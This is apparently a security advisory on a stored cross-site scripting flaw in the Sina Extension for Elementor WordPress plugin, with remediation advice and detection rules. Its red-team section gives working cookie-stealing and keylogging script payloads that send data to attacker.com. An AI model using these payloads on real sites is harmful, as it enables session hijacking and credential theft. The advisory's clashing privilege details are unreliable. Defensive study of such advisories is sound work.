CVE-2025-49262

Executive Summary

CVE-2025-49262 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sina Extension for Elementor WordPress plugin, affecting versions up to and including 3.6.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, and defacement. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No official patch has been released as of the analysis date. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the potential for stored XSS, which can persist across sessions and affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the sina-extension-for-elementor plugin, specifically in how it handles user input for widget parameters. The plugin fails to sanitize and escape user-supplied data before storing it in the WordPress database. When the stored data is later rendered in a page or post, it is executed as HTML/JavaScript in the context of the victim's browser.

Root Cause: The plugin uses functions like esc_html() or wp_kses_post() incorrectly, or omits them entirely, allowing HTML tags and JavaScript to be stored.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a post/page using the Sina Extension for Elementor widgets.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a widget field (e.g., title, description, or custom CSS).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or other user views the page, the payload executes in their browser.

Impact: Stored XSS can lead to:

• Session cookie theft
• Redirection to malicious sites
• Defacement of the WordPress site
• Privilege escalation if an admin is targeted

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (example from a widget):

$title = $_POST['title'];
echo '<h2>' . $title . '</h2>';

Patched Code (hypothetical):

$title = sanitize_text_field( $_POST['title'] );
echo '<h2>' . esc_html( $title ) . '</h2>';

The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to escape output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Sina Extension for Elementor <= 3.6.1
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add a Sina Extension for Elementor widget (e.g., "Sina Heading").
4. In the widget's title field, inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Publish the post.
6. Wait for an administrator to view the post, or share the link with them.
7. The payload executes, sending the admin's session cookie to the attacker's server.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    var key = e.key;
    new Image().src = 'http://attacker.com/log.php?key=' + key;
}
</script>

Blue Team

Detection Steps:

1. Monitor WordPress logs for unusual post content containing <script> tags.
2. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Regularly scan the database for malicious payloads using tools like Wordfence.

Mitigation:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/sina-extension-for-elementor/ (entire plugin directory)
• Database entries: Posts/pages containing <script> tags in widget fields
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php with widget data containing JavaScript

Detection Engineering

YARA Rule

rule CVE_2025_49262_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Sina Extension for Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49262"
    strings:
        $payload1 = "<script>" nocase
        $payload2 = "onerror=" nocase
        $payload3 = "onload=" nocase
        $payload4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-49262 Stored XSS in Sina Extension for Elementor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'sina-extension-for-elementor'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49262 Stored XSS in Sina Extension for Elementor"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"sina-extension-for-elementor"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review and clean all posts/pages created by contributors for malicious content.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply input sanitization and output escaping in all widget fields.
• Use WordPress functions like sanitize_text_field(), esc_html(), and wp_kses_post() appropriately.
• Implement a Content Security Policy (CSP) to restrict script execution.

Workaround:

• Use a security plugin like Wordfence to block XSS attempts.
• Restrict user roles to prevent contributors from using the vulnerable plugin.

Valters IT